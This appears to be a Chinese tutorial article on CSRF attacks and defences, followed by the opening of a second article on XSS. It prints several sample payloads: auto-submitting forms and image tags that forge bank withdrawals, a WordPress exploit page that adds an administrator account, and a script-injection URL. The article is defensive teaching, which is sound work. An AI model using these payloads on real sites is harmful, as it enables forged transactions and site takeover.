这个页面只要打开,就会向Gmail发送一个post请求。请求中,执行了“Create Filter”命令,将所有的邮件,转发到“hacker@hakermail.com”。

小明由于刚刚就登陆了Gmail,所以这个请求发送时,携带着小明的登录凭证(Cookie),Gmail的后台接收到请求,验证了确实有小明的登录凭证,于是成功给小明配置了过滤器。

黑客可以查看小明的所有邮件,包括邮件里的域名验证码等隐私信息。拿到验证码之后,黑客就可以要求域名服务商把域名重置给自己。

小明很快打开Gmail,找到了那条过滤器,将其删除。然而,已经泄露的邮件,已经被转让的域名,再也无法挽回了......

以上就是小明的悲惨遭遇。而“点开一个黑客的链接,所有邮件都被窃取”这种事情并不是杜撰的,此事件原型是2007年Gmail的CSRF漏洞:

https://www.davidairey.com/google-Gmail-security-hijack/

当然,目前此漏洞已被Gmail修复,请使用Gmail的同学不要慌张。

什么是CSRF

CSRF(Cross-site request forgery)跨站请求伪造:攻击者诱导受害者进入第三方网站,在第三方网站中,向被攻击网站发送跨站请求。利用受害者在被攻击网站已经获取的注册凭证,绕过后台的用户验证,达到冒充用户对被攻击的网站执行某项操作的目的。

一个典型的CSRF攻击有着如下的流程:

  • 受害者登录a.com,并保留了登录凭证(Cookie)。
  • 攻击者引诱受害者访问了b.com。
  • b.com 向 a.com 发送了一个请求:a.com/act=xx。浏览器会默认携带a.com的Cookie。
  • a.com接收到请求后,对请求进行验证,并确认是受害者的凭证,误以为是受害者自己发送的请求。
  • a.com以受害者的名义执行了act=xx。
  • 攻击完成,攻击者在受害者不知情的情况下,冒充受害者,让a.com执行了自己定义的操作。

几种常见的攻击类型

  • GET类型的CSRF

GET类型的CSRF利用非常简单,只需要一个HTTP请求,一般会这样利用:

 <img data-original="http://bank.example/withdraw?amount=10000&for=hacker" > 

在受害者访问含有这个img的页面后,浏览器会自动向http://bank.example/withdraw?account=xiaoming&amount=10000&for=hacker发出一次HTTP请求。bank.example就会收到包含受害者登录信息的一次跨域请求。

  • POST类型的CSRF

这种类型的CSRF利用起来通常使用的是一个自动提交的表单,如:

 <form action="http://bank.example/withdraw" method=POST>
    <input type="hidden" name="account" value="xiaoming" />
    <input type="hidden" name="amount" value="10000" />
    <input type="hidden" name="for" value="hacker" />
</form>
<script> document.forms[0].submit(); </script> 

访问该页面后,表单会自动提交,相当于模拟用户完成了一次POST操作。

POST类型的攻击通常比GET要求更加严格一点,但仍并不复杂。任何个人网站、博客,被黑客上传页面的网站都有可能是发起攻击的来源,后端接口不能将安全寄托在仅允许POST上面。

  • 链接类型的CSRF

链接类型的CSRF并不常见,比起其他两种用户打开页面就中招的情况,这种需要用户点击链接才会触发。这种类型通常是在论坛中发布的图片中嵌入恶意链接,或者以广告的形式诱导用户中招,攻击者通常会以比较夸张的词语诱骗用户点击,例如:

  <a href="http://test.com/csrf/withdraw.php?amount=1000&for=hacker" taget="_blank">
  重磅消息!!
  <a/>

由于之前用户登录了信任的网站A,并且保存登录状态,只要用户主动访问上面的这个PHP页面,则表示攻击成功。

CSRF的特点

  • 攻击一般发起在第三方网站,而不是被攻击的网站。被攻击的网站无法防止攻击发生。
  • 攻击利用受害者在被攻击网站的登录凭证,冒充受害者提交操作;而不是直接窃取数据。
  • 整个过程攻击者并不能获取到受害者的登录凭证,仅仅是“冒用”。
  • 跨站请求可以用各种方式:图片URL、超链接、CORS、Form提交等等。部分请求方式可以直接嵌入在第三方论坛、文章中,难以进行追踪。

CSRF通常是跨域的,因为外域通常更容易被攻击者掌控。但是如果本域下有容易被利用的功能,比如可以发图和链接的论坛和评论区,攻击可以直接在本域下进行,而且这种攻击更加危险。

防护策略

CSRF通常从第三方网站发起,被攻击的网站无法防止攻击发生,只能通过增强自己网站针对CSRF的防护能力来提升安全性。

上文中讲了CSRF的两个特点:

  • CSRF(通常)发生在第三方域名。
  • CSRF攻击者不能获取到Cookie等信息,只是使用。

针对这两点,我们可以专门制定防护策略,如下:

  • 阻止不明外域的访问

    • 同源检测
    • Samesite Cookie
  • 提交时要求附加本域才能获取的信息

    • CSRF Token
    • 双重Cookie验证

以下我们对各种防护方法做详细说明:

同源检测

既然CSRF大多来自第三方网站,那么我们就直接禁止外域(或者不受信任的域名)对我们发起请求。

那么问题来了,我们如何判断请求是否来自外域呢?

在HTTP协议中,每一个异步请求都会携带两个Header,用于标记来源域名:

  • Origin Header
  • Referer Header

这两个Header在浏览器发起请求时,大多数情况会自动带上,并且不能由前端自定义内容。
服务器可以通过解析这两个Header中的域名,确定请求的来源域。

使用Origin Header确定来源域名

在部分与CSRF有关的请求中,请求的Header中会携带Origin字段。字段内包含请求的域名(不包含path及query)。

如果Origin存在,那么直接使用Origin中的字段确认来源域名就可以。

但是Origin在以下两种情况下并不存在:

  • IE11同源策略: IE 11 不会在跨站CORS请求上添加Origin标头,Referer头将仍然是唯一的标识。最根本原因是因为IE 11对同源的定义和其他浏览器有不同,有两个主要的区别,可以参考MDN Same-origin_policy#IE_Exceptions
  • 302重定向: 在302重定向之后Origin不包含在重定向的请求中,因为Origin可能会被认为是其他来源的敏感信息。对于302重定向的情况来说都是定向到新的服务器上的URL,因此浏览器不想将Origin泄漏到新的服务器上。
使用Referer Header确定来源域名

根据HTTP协议,在HTTP头中有一个字段叫Referer,记录了该HTTP请求的来源地址。
对于Ajax请求,图片和script等资源请求,Referer为发起请求的页面地址。对于页面跳转,Referer为打开页面历史记录的前一个页面地址。因此我们使用Referer中链接的Origin部分可以得知请求的来源域名。

这种方法并非万无一失,Referer的值是由浏览器提供的,虽然HTTP协议上有明确的要求,但是每个浏览器对于Referer的具体实现可能有差别,并不能保证浏览器自身没有安全漏洞。使用验证 Referer 值的方法,就是把安全性都依赖于第三方(即浏览器)来保障,从理论上来讲,这样并不是很安全。在部分情况下,攻击者可以隐藏,甚至修改自己请求的Referer。

2014年,W3C的Web应用安全工作组发布了Referrer Policy草案,对浏览器该如何发送Referer做了详细的规定。截止现在新版浏览器大部分已经支持了这份草案,我们终于可以灵活地控制自己网站的Referer策略了。新版的Referrer Policy规定了五种Referer策略:No Referrer、No Referrer When Downgrade、Origin Only、Origin When Cross-origin、和 Unsafe URL。之前就存在的三种策略:never、default和always,在新标准里换了个名称。他们的对应关系如下:

策略名称属性值(新)属性值(旧)
No Referrerno-Referrernever
No Referrer When Downgradeno-Referrer-when-downgradedefault
Origin Only(same or strict) originorigin
Origin When Cross Origin(strict) origin-when-crossorigin-
Unsafe URLunsafe-urlalways

根据上面的表格因此需要把Referrer Policy的策略设置成same-origin,对于同源的链接和引用,会发送Referer,referer值为Host不带Path;跨域访问则不携带Referer。例如:aaa.com引用bbb.com的资源,不会发送Referer。

设置Referrer Policy的方法有三种:

  1. 在CSP设置
  2. 页面头部增加meta标签
  3. a标签增加referrerpolicy属性

上面说的这些比较多,但我们可以知道一个问题:攻击者可以在自己的请求中隐藏Referer。如果攻击者将自己的请求这样填写:

 <img data-original="http://bank.example/withdraw?amount=10000&for=hacker" referrerpolicy="no-referrer"> 

那么这个请求发起的攻击将不携带Referer。

另外在以下情况下Referer没有或者不可信:

1.IE6、7下使用window.location.href=url进行界面的跳转,会丢失Referer。

2.IE6、7下使用window.open,也会缺失Referer。

3.HTTPS页面跳转到HTTP页面,所有浏览器Referer都丢失。

4.点击Flash上到达另外一个网站的时候,Referer的情况就比较杂乱,不太可信。

无法确认来源域名情况

当Origin和Referer头文件不存在时该怎么办?如果Origin和Referer都不存在,建议直接进行阻止,特别是如果您没有使用随机CSRF Token(参考下方)作为第二次检查。

如何阻止外域请求

通过Header的验证,我们可以知道发起请求的来源域名,这些来源域名可能是网站本域,或者子域名,或者有授权的第三方域名,又或者来自不可信的未知域名。

我们已经知道了请求域名是否是来自不可信的域名,我们直接阻止掉这些的请求,就能防御CSRF攻击了吗?

且慢!当一个请求是页面请求(比如网站的主页),而来源是搜索引擎的链接(例如百度的搜索结果),也会被当成疑似CSRF攻击。所以在判断的时候需要过滤掉页面请求情况,通常Header符合以下情况:

Accept: text/html
Method: GET

但相应的,页面请求就暴露在了CSRF的攻击范围之中。如果你的网站中,在页面的GET请求中对当前用户做了什么操作的话,防范就失效了。

例如,下面的页面请求:

GET https://example.com/addComment?comment=XXX&dest=orderId

注:这种严格来说并不一定存在CSRF攻击的风险,但仍然有很多网站经常把主文档GET请求挂上参数来实现产品功能,但是这样做对于自身来说是存在安全风险的。

另外,前面说过,CSRF大多数情况下来自第三方域名,但并不能排除本域发起。如果攻击者有权限在本域发布评论(含链接、图片等,统称UGC),那么它可以直接在本域发起攻击,这种情况下同源策略无法达到防护的作用。

综上所述:同源验证是一个相对简单的防范方法,能够防范绝大多数的CSRF攻击。但这并不是万无一失的,对于安全性要求较高,或者有较多用户输入内容的网站,我们就要对关键的接口做额外的防护措施。

CSRF Token

前面讲到CSRF的另一个特征是,攻击者无法直接窃取到用户的信息(Cookie,Header,网站内容等),仅仅是冒用Cookie中的信息。

而CSRF攻击之所以能够成功,是因为服务器误把攻击者发送的请求当成了用户自己的请求。那么我们可以要求所有的用户请求都携带一个CSRF攻击者无法获取到的Token。服务器通过校验请求是否携带正确的Token,来把正常的请求和攻击的请求区分开,也可以防范CSRF的攻击。

原理

CSRF Token的防护策略分为三个步骤:

1.将CSRF Token输出到页面中

首先,用户打开页面的时候,服务器需要给这个用户生成一个Token,该Token通过加密算法对数据进行加密,一般Token都包括随机字符串和时间戳的组合,显然在提交时Token不能再放在Cookie中了,否则又会被攻击者冒用。因此,为了安全起见Token最好还是存在服务器的Session中,之后在每次页面加载时,使用JS遍历整个DOM树,对于DOM中所有的a和form标签后加入Token。这样可以解决大部分的请求,但是对于在页面加载之后动态生成的HTML代码,这种方法就没有作用,还需要程序员在编码时手动添加Token。

2.页面提交的请求携带这个Token

对于GET请求,Token将附在请求地址之后,这样URL 就变成 http://url?csrftoken=tokenvalue。 而对于 POST 请求来说,要在 form 的最后加上:

 <input type=”hidden” name=”csrftoken” value=”tokenvalue”/>

这样,就把Token以参数的形式加入请求了。

3.服务器验证Token是否正确

当用户从客户端得到了Token,再次提交给服务器的时候,服务器需要判断Token的有效性,验证过程是先解密Token,对比加密字符串以及时间戳,如果加密字符串一致且时间未过期,那么这个Token就是有效的。

这种方法要比之前检查Referer或者Origin要安全一些,Token可以在产生并放于Session之中,然后在每次请求时把Token从Session中拿出,与请求中的Token进行比对,但这种方法的比较麻烦的在于如何把Token以参数的形式加入请求。
下面将以Java为例,介绍一些CSRF Token的服务端校验逻辑,代码如下:

HttpServletRequest req = (HttpServletRequest)request; 
HttpSession s = req.getSession(); 
 
// 从 session 中得到 csrftoken 属性
String sToken = (String)s.getAttribute(“csrftoken”); 
if(sToken == null){ 
   // 产生新的 token 放入 session 中
   sToken = generateToken(); 
   s.setAttribute(“csrftoken”,sToken); 
   chain.doFilter(request, response); 
} else{ 
   // 从 HTTP 头中取得 csrftoken 
   String xhrToken = req.getHeader(“csrftoken”); 
   // 从请求参数中取得 csrftoken 
   String pToken = req.getParameter(“csrftoken”); 
   if(sToken != null && xhrToken != null && sToken.equals(xhrToken)){ 
       chain.doFilter(request, response); 
   }else if(sToken != null && pToken != null && sToken.equals(pToken)){ 
       chain.doFilter(request, response); 
   }else{ 
       request.getRequestDispatcher(“error.jsp”).forward(request,response); 
   } 
}

代码源自IBM developerworks CSRF

这个Token的值必须是随机生成的,这样它就不会被攻击者猜到,考虑利用Java应用程序的java.security.SecureRandom类来生成足够长的随机标记,替代生成算法包括使用256位BASE64编码哈希,选择这种生成算法的开发人员必须确保在散列数据中使用随机性和唯一性来生成随机标识。通常,开发人员只需为当前会话生成一次Token。在初始生成此Token之后,该值将存储在会话中,并用于每个后续请求,直到会话过期。当最终用户发出请求时,服务器端必须验证请求中Token的存在性和有效性,与会话中找到的Token相比较。如果在请求中找不到Token,或者提供的值与会话中的值不匹配,则应中止请求,应重置Token并将事件记录为正在进行的潜在CSRF攻击。

分布式校验

在大型网站中,使用Session存储CSRF Token会带来很大的压力。访问单台服务器session是同一个。但是现在的大型网站中,我们的服务器通常不止一台,可能是几十台甚至几百台之多,甚至多个机房都可能在不同的省份,用户发起的HTTP请求通常要经过像Ngnix之类的负载均衡器之后,再路由到具体的服务器上,由于Session默认存储在单机服务器内存中,因此在分布式环境下同一个用户发送的多次HTTP请求可能会先后落到不同的服务器上,导致后面发起的HTTP请求无法拿到之前的HTTP请求存储在服务器中的Session数据,从而使得Session机制在分布式环境下失效,因此在分布式集群中CSRF Token需要存储在Redis之类的公共存储空间。

由于使用Session存储,读取和验证CSRF Token会引起比较大的复杂度和性能问题,目前很多网站采用Encrypted Token Pattern方式。这种方法的Token是一个计算出来的结果,而非随机生成的字符串。这样在校验时无需再去读取存储的Token,只用再次计算一次即可。

这种Token的值通常是使用UserID、时间戳和随机数,通过加密的方法生成。这样既可以保证分布式服务的Token一致,又能保证Token不容易被破解。

在token解密成功之后,服务器可以访问解析值,Token中包含的UserID和时间戳将会被拿来被验证有效性,将UserID与当前登录的UserID进行比较,并将时间戳与当前时间进行比较。

总结

Token是一个比较有效的CSRF防护方法,只要页面没有XSS漏洞泄露Token,那么接口的CSRF攻击就无法成功。

但是此方法的实现比较复杂,需要给每一个页面都写入Token(前端无法使用纯静态页面),每一个Form及Ajax请求都携带这个Token,后端对每一个接口都进行校验,并保证页面Token及请求Token一致。这就使得这个防护策略不能在通用的拦截上统一拦截处理,而需要每一个页面和接口都添加对应的输出和校验。这种方法工作量巨大,且有可能遗漏。

验证码和密码其实也可以起到CSRF Token的作用哦,而且更安全。

为什么很多银行等网站会要求已经登录的用户在转账时再次输入密码,现在是不是有一定道理了?

双重Cookie验证

在会话中存储CSRF Token比较繁琐,而且不能在通用的拦截上统一处理所有的接口。

那么另一种防御措施是使用双重提交Cookie。利用CSRF攻击不能获取到用户Cookie的特点,我们可以要求Ajax和表单请求携带一个Cookie中的值。

双重Cookie采用以下流程:

  • 在用户访问网站页面时,向请求域名注入一个Cookie,内容为随机字符串(例如csrfcookie=v8g9e4ksfhw)。
  • 在前端向后端发起请求时,取出Cookie,并添加到URL的参数中(接上例POST https://www.a.com/comment?csrfcookie=v8g9e4ksfhw)。
  • 后端接口验证Cookie中的字段与URL参数中的字段是否一致,不一致则拒绝。

此方法相对于CSRF Token就简单了许多。可以直接通过前后端拦截的的方法自动化实现。后端校验也更加方便,只需进行请求中字段的对比,而不需要再进行查询和存储Token。

当然,此方法并没有大规模应用,其在大型网站上的安全性还是没有CSRF Token高,原因我们举例进行说明。

由于任何跨域都会导致前端无法获取Cookie中的字段(包括子域名之间),于是发生了如下情况:

  • 如果用户访问的网站为www.a.com,而后端的api域名为api.a.com。那么在www.a.com下,前端拿不到api.a.com的Cookie,也就无法完成双重Cookie认证。
  • 于是这个认证Cookie必须被种在a.com下,这样每个子域都可以访问。
  • 任何一个子域都可以修改a.com下的Cookie。
  • 某个子域名存在漏洞被XSS攻击(例如upload.a.com)。虽然这个子域下并没有什么值得窃取的信息。但攻击者修改了a.com下的Cookie。
  • 攻击者可以直接使用自己配置的Cookie,对XSS中招的用户再向www.a.com下,发起CSRF攻击。
总结

用双重Cookie防御CSRF的优点:

  • 无需使用Session,适用面更广,易于实施。
  • Token储存于客户端中,不会给服务器带来压力。
  • 相对于Token,实施成本更低,可以在前后端统一拦截校验,而不需要一个个接口和页面添加。

缺点:

  • Cookie中增加了额外的字段。
  • 如果有其他漏洞(例如XSS),攻击者可以注入Cookie,那么该防御方式失效。
  • 难以做到子域名的隔离。
  • 为了确保Cookie传输安全,采用这种防御方式的最好确保用整站HTTPS的方式,如果还没切HTTPS的使用这种方式也会有风险。

Samesite Cookie属性

防止CSRF攻击的办法已经有上面的预防措施。为了从源头上解决这个问题,Google起草了一份草案来改进HTTP协议,那就是为Set-Cookie响应头新增Samesite属性,它用来标明这个 Cookie是个“同站 Cookie”,同站Cookie只能作为第一方Cookie,不能作为第三方Cookie,Samesite 有两个属性值,分别是 Strict 和 Lax,下面分别讲解:

Samesite=Strict

这种称为严格模式,表明这个 Cookie 在任何情况下都不可能作为第三方 Cookie,绝无例外。比如说 b.com 设置了如下 Cookie:

Set-Cookie: foo=1; Samesite=Strict
Set-Cookie: bar=2; Samesite=Lax
Set-Cookie: baz=3

我们在 a.com 下发起对 b.com 的任意请求,foo 这个 Cookie 都不会被包含在 Cookie 请求头中,但 bar 会。举个实际的例子就是,假如淘宝网站用来识别用户登录与否的 Cookie 被设置成了 Samesite=Strict,那么用户从百度搜索页面甚至天猫页面的链接点击进入淘宝后,淘宝都不会是登录状态,因为淘宝的服务器不会接受到那个 Cookie,其它网站发起的对淘宝的任意请求都不会带上那个 Cookie。

Samesite=Lax

这种称为宽松模式,比 Strict 放宽了点限制:假如这个请求是这种请求(改变了当前页面或者打开了新页面)且同时是个GET请求,则这个Cookie可以作为第三方Cookie。比如说 b.com设置了如下Cookie:

Set-Cookie: foo=1; Samesite=Strict
Set-Cookie: bar=2; Samesite=Lax
Set-Cookie: baz=3

当用户从 a.com 点击链接进入 b.com 时,foo 这个 Cookie 不会被包含在 Cookie 请求头中,但 bar 和 baz 会,也就是说用户在不同网站之间通过链接跳转是不受影响了。但假如这个请求是从 a.com 发起的对 b.com 的异步请求,或者页面跳转是通过表单的 post 提交触发的,则bar也不会发送。

生成Token放到Cookie中并且设置Cookie的Samesite,Java代码如下:

 private void addTokenCookieAndHeader(HttpServletRequest httpRequest, HttpServletResponse httpResponse) {
        //生成token
        String sToken = this.generateToken();
        //手动添加Cookie实现支持“Samesite=strict”
        //Cookie添加双重验证
        String CookieSpec = String.format("%s=%s; Path=%s; HttpOnly; Samesite=Strict", this.determineCookieName(httpRequest), sToken, httpRequest.getRequestURI());
        httpResponse.addHeader("Set-Cookie", CookieSpec);
        httpResponse.setHeader(CSRF_TOKEN_NAME, token);
    }

代码源自OWASP Cross-Site_Request_Forgery #Implementation example

我们应该如何使用SamesiteCookie

如果SamesiteCookie被设置为Strict,浏览器在任何跨域请求中都不会携带Cookie,新标签重新打开也不携带,所以说CSRF攻击基本没有机会。

但是跳转子域名或者是新标签重新打开刚登陆的网站,之前的Cookie都不会存在。尤其是有登录的网站,那么我们新打开一个标签进入,或者跳转到子域名的网站,都需要重新登录。对于用户来讲,可能体验不会很好。

如果SamesiteCookie被设置为Lax,那么其他网站通过页面跳转过来的时候可以使用Cookie,可以保障外域连接打开页面时用户的登录状态。但相应的,其安全性也比较低。

另外一个问题是Samesite的兼容性不是很好,现阶段除了从新版Chrome和Firefox支持以外,Safari以及iOS Safari都还不支持,现阶段看来暂时还不能普及。

而且,SamesiteCookie目前有一个致命的缺陷:不支持子域。例如,种在topic.a.com下的Cookie,并不能使用a.com下种植的SamesiteCookie。这就导致了当我们网站有多个子域名时,不能使用SamesiteCookie在主域名存储用户登录信息。每个子域名都需要用户重新登录一次。

总之,SamesiteCookie是一个可能替代同源验证的方案,但目前还并不成熟,其应用场景有待观望。

防止网站被利用

前面所说的,都是被攻击的网站如何做好防护。而非防止攻击的发生,CSRF的攻击可以来自:

  • 攻击者自己的网站。
  • 有文件上传漏洞的网站。
  • 第三方论坛等用户内容。
  • 被攻击网站自己的评论功能等。

对于来自黑客自己的网站,我们无法防护。但对其他情况,那么如何防止自己的网站被利用成为攻击的源头呢?

  • 严格管理所有的上传接口,防止任何预期之外的上传内容(例如HTML)。
  • 添加Header X-Content-Type-Options: nosniff 防止黑客上传HTML内容的资源(例如图片)被解析为网页。
  • 对于用户上传的图片,进行转存或者校验。不要直接使用用户填写的图片链接。
  • 当前用户打开其他用户填写的链接时,需告知风险(这也是很多论坛不允许直接在内容中发布外域链接的原因之一,不仅仅是为了用户留存,也有安全考虑)。

CSRF其他防范措施

对于一线的程序员同学,我们可以通过各种防护策略来防御CSRF,对于QA、SRE、安全负责人等同学,我们可以做哪些事情来提升安全性呢?

CSRF测试

CSRFTester是一款CSRF漏洞的测试工具,CSRFTester工具的测试原理大概是这样的,使用代理抓取我们在浏览器中访问过的所有的连接以及所有的表单等信息,通过在CSRFTester中修改相应的表单等信息,重新提交,相当于一次伪造客户端请求,如果修改后的测试请求成功被网站服务器接受,则说明存在CSRF漏洞,当然此款工具也可以被用来进行CSRF攻击。
CSRFTester使用方法大致分下面几个步骤:

  • 步骤1:设置浏览器代理

CSRFTester默认使用Localhost上的端口8008作为其代理,如果代理配置成功,CSRFTester将为您的浏览器生成的所有后续HTTP请求生成调试消息。

  • 步骤2:使用合法账户访问网站开始测试

我们需要找到一个我们想要为CSRF测试的特定业务Web页面。找到此页面后,选择CSRFTester中的“开始录制”按钮并执行业务功能;完成后,点击CSRFTester中的“停止录制”按钮;正常情况下,该软件会全部遍历一遍当前页面的所有请求。

  • 步骤3:通过CSRF修改并伪造请求

之后,我们会发现软件上有一系列跑出来的记录请求,这些都是我们的浏览器在执行业务功能时生成的所有GET或者POST请求。通过选择列表中的某一行,我们现在可以修改用于执行业务功能的参数,可以通过点击对应的请求修改query和form的参数。当修改完所有我们希望诱导用户form最终的提交值,可以选择开始生成HTML报告。

  • 步骤4:拿到结果如有漏洞进行修复

首先必须选择“报告类型”。报告类型决定了我们希望受害者浏览器如何提交先前记录的请求。目前有5种可能的报告:表单、iFrame、IMG、XHR和链接。一旦选择了报告类型,我们可以选择在浏览器中启动新生成的报告,最后根据报告的情况进行对应的排查和修复。

CSRF监控

对于一个比较复杂的网站系统,某些项目、页面、接口漏掉了CSRF防护措施是很可能的。

一旦发生了CSRF攻击,我们如何及时的发现这些攻击呢?

CSRF攻击有着比较明显的特征:

  • 跨域请求。
  • GET类型请求Header的MIME类型大概率为图片,而实际返回Header的MIME类型为Text、JSON、HTML。

我们可以在网站的代理层监控所有的接口请求,如果请求符合上面的特征,就可以认为请求有CSRF攻击嫌疑。我们可以提醒对应的页面和项目负责人,检查或者 Review其CSRF防护策略。

个人用户CSRF安全的建议

经常上网的个人用户,可以采用以下方法来保护自己:

  • 使用网页版邮件的浏览邮件或者新闻也会带来额外的风险,因为查看邮件或者新闻消息有可能导致恶意代码的攻击。
  • 尽量不要打开可疑的链接,一定要打开时,使用不常用的浏览器。

总结

简单总结一下上文的防护策略:

  • CSRF自动防御策略:同源检测(Origin 和 Referer 验证)。
  • CSRF主动防御措施:Token验证 或者 双重Cookie验证 以及配合Samesite Cookie。
  • 保证页面的幂等性,后端接口不要在GET页面中做用户操作。

为了更好的防御CSRF,最佳实践应该是结合上面总结的防御措施方式中的优缺点来综合考虑,结合当前Web应用程序自身的情况做合适的选择,才能更好的预防CSRF的发生。

历史案例

WordPress的CSRF漏洞

2012年3月份,WordPress发现了一个CSRF漏洞,影响了WordPress 3.3.1版本,WordPress是众所周知的博客平台,该漏洞可以允许攻击者修改某个Post的标题,添加管理权限用户以及操作用户账户,包括但不限于删除评论、修改头像等等。具体的列表如下:

  • Add Admin/User
  • Delete Admin/User
  • Approve comment
  • Unapprove comment
  • Delete comment
  • Change background image
  • Insert custom header image
  • Change site title
  • Change administrator's email
  • Change Wordpress Address
  • Change Site Address

那么这个漏洞实际上就是攻击者引导用户先进入目标的WordPress,然后点击其钓鱼站点上的某个按钮,该按钮实际上是表单提交按钮,其会触发表单的提交工作,添加某个具有管理员权限的用户,实现的码如下:

<html> 
<body onload="javascript:document.forms[0].submit()"> 
<H2>CSRF Exploit to add Administrator</H2> 
<form method="POST" name="form0" action="http://<wordpress_ip>:80/wp-admin/user-new.php"> 
<input type="hidden" name="action" value="createuser"/> 
<input type="hidden" name="_wpnonce_create-user" value="<sniffed_value>"/> 
<input type="hidden" name="_wp_http_referer" value="%2Fwordpress%2Fwp-admin%2Fuser-new.php"/> 
<input type="hidden" name="user_login" value="admin2"/> 
<input type="hidden" name="email" value="admin2@admin.com"/> 
<input type="hidden" name="first_name" value="admin2@admin.com"/> 
<input type="hidden" name="last_name" value=""/> 
<input type="hidden" name="url" value=""/> 
<input type="hidden" name="pass1" value="password"/> 
<input type="hidden" name="pass2" value="password"/> 
<input type="hidden" name="role" value="administrator"/> 
<input type="hidden" name="createuser" value="Add+New+User+"/> 
</form> 
</body> 
</html> 

YouTube的CSRF漏洞

2008年,有安全研究人员发现,YouTube上几乎所有用户可以操作的动作都存在CSRF漏洞。如果攻击者已经将视频添加到用户的“Favorites”,那么他就能将他自己添加到用户的“Friend”或者“Family”列表,以用户的身份发送任意的消息,将视频标记为不宜的,自动通过用户的联系人来共享一个视频。例如,要把视频添加到用户的“Favorites”,攻击者只需在任何站点上嵌入如下所示的IMG标签:

<img data-original="http://youtube.com/watch_ajax?action_add_favorite_playlist=1&video_
id=[VIDEO ID]&playlist_id=&add_to_favorite=1&show=1&button=AddvideoasFavorite"/>

攻击者也许已经利用了该漏洞来提高视频的流行度。例如,将一个视频添加到足够多用户的“Favorites”,YouTube就会把该视频作为“Top Favorites”来显示。除提高一个视频的流行度之外,攻击者还可以导致用户在毫不知情的情况下将一个视频标记为“不宜的”,从而导致YouTube删除该视频。

这些攻击还可能已被用于侵犯用户隐私。YouTube允许用户只让朋友或亲属观看某些视频。这些攻击会导致攻击者将其添加为一个用户的“Friend”或“Family”列表,这样他们就能够访问所有原本只限于好友和亲属表中的用户观看的私人的视频。

攻击者还可以通过用户的所有联系人名单(“Friends”、“Family”等等)来共享一个视频,“共享”就意味着发送一个视频的链接给他们,当然还可以选择附加消息。这条消息中的链接已经并不是真正意义上的视频链接,而是一个具有攻击性的网站链接,用户很有可能会点击这个链接,这便使得该种攻击能够进行病毒式的传播。

参考文献

下期预告

前端安全系列文章将对XSS、CSRF、网络劫持、Hybrid安全等安全议题展开论述。下期我们要讨论的是网络劫持,敬请期待。

作者简介

刘烨,美团点评前端开发工程师,负责外卖用户端前端业务。

查看原文

小葱 收藏了文章 · 8月28日

前端安全系列(一):如何防止XSS攻击?

前端安全

随着互联网的高速发展,信息安全问题已经成为企业最为关注的焦点之一,而前端又是引发企业安全问题的高危据点。在移动互联网时代,前端人员除了传统的 XSS、CSRF 等安全问题之外,又时常遭遇网络劫持、非法调用 Hybrid API 等新型安全问题。当然,浏览器自身也在不断在进化和发展,不断引入 CSP、Same-Site Cookies 等新技术来增强安全性,但是仍存在很多潜在的威胁,这需要前端技术人员不断进行“查漏补缺”。

近几年,美团业务高速发展,前端随之面临很多安全挑战,因此积累了大量的实践经验。我们梳理了常见的前端安全问题以及对应的解决方案,将会做成一个系列,希望可以帮助前端人员在日常开发中不断预防和修复安全漏洞。本文是该系列的第一篇。

本文我们会讲解 XSS ,主要包括:

  1. XSS 攻击的介绍
  2. XSS 攻击的分类
  3. XSS 攻击的预防和检测
  4. XSS 攻击的总结
  5. XSS 攻击案例

XSS 攻击的介绍

在开始本文之前,我们先提出一个问题,请判断以下两个说法是否正确:

  1. XSS 防范是后端 RD(研发人员)的责任,后端 RD 应该在所有用户提交数据的接口,对敏感字符进行转义,才能进行下一步操作。
  2. 所有要插入到页面上的数据,都要通过一个敏感字符过滤函数的转义,过滤掉通用的敏感字符后,就可以插入到页面中。

如果你还不能确定答案,那么可以带着这些问题向下看,我们将逐步拆解问题。

XSS 漏洞的发生和修复

XSS 攻击是页面被注入了恶意的代码,为了更形象的介绍,我们用发生在小明同学身边的事例来进行说明。

一个案例

某天,公司需要一个搜索页面,根据 URL 参数决定关键词的内容。小明很快把页面写好并且上线。代码如下:

<input type="text" value="<%= getParameter("keyword") %>">
<button>搜索</button>
<div>
  您搜索的关键词是:<%= getParameter("keyword") %>
</div>

然而,在上线后不久,小明就接到了安全组发来的一个神秘链接:

http://xxx/search?keyword="><script>alert('XSS');</script>

小明带着一种不祥的预感点开了这个链接<span style="color:red">[请勿模仿,确认安全的链接才能点开]</span>。果然,页面中弹出了写着"XSS"的对话框。

可恶,中招了!小明眉头一皱,发现了其中的奥秘:

当浏览器请求 http://xxx/search?keyword="><script>alert('XSS');</script> 时,服务端会解析出请求参数 keyword,得到 "><script>alert('XSS');</script>,拼接到 HTML 中返回给浏览器。形成了如下的 HTML:

<input type="text" value=""><script>alert('XSS');</script>">
<button>搜索</button>
<div>
  您搜索的关键词是:"><script>alert('XSS');</script>
</div>

浏览器无法分辨出 <script>alert('XSS');</script> 是恶意代码,因而将其执行。

这里不仅仅 div 的内容被注入了,而且 input 的 value 属性也被注入, alert 会弹出两次。

面对这种情况,我们应该如何进行防范呢?

其实,这只是浏览器把用户的输入当成了脚本进行了执行。那么只要告诉浏览器这段内容是文本就可以了。

聪明的小明很快找到解决方法,把这个漏洞修复:

<input type="text" value="<%= escapeHTML(getParameter("keyword")) %>">
<button>搜索</button>
<div>
  您搜索的关键词是:<%= escapeHTML(getParameter("keyword")) %>
</div>

escapeHTML() 按照如下规则进行转义:

字符转义后的字符
&&amp;
<&lt;
>&gt;
"&quot;
'&#x27;
/&#x2F;

经过了转义函数的处理后,最终浏览器接收到的响应为:

<input type="text" value="&quot;&gt;&lt;script&gt;alert(&#x27;XSS&#x27;);&lt;&#x2F;script&gt;">
<button>搜索</button>
<div>
  您搜索的关键词是:&quot;&gt;&lt;script&gt;alert(&#x27;XSS&#x27;);&lt;&#x2F;script&gt;
</div>

恶意代码都被转义,不再被浏览器执行,而且搜索词能够完美的在页面显示出来。

通过这个事件,小明学习到了如下知识:

  • 通常页面中包含的用户输入内容都在固定的容器或者属性内,以文本的形式展示。
  • 攻击者利用这些页面的用户输入片段,拼接特殊格式的字符串,突破原有位置的限制,形成了代码片段。
  • 攻击者通过在目标网站上注入脚本,使之在用户的浏览器上运行,从而引发潜在风险。
  • 通过 HTML 转义,可以防止 XSS 攻击。<span style="color:red">[事情当然没有这么简单啦!请继续往下看]</span>。

注意特殊的 HTML 属性、JavaScript API

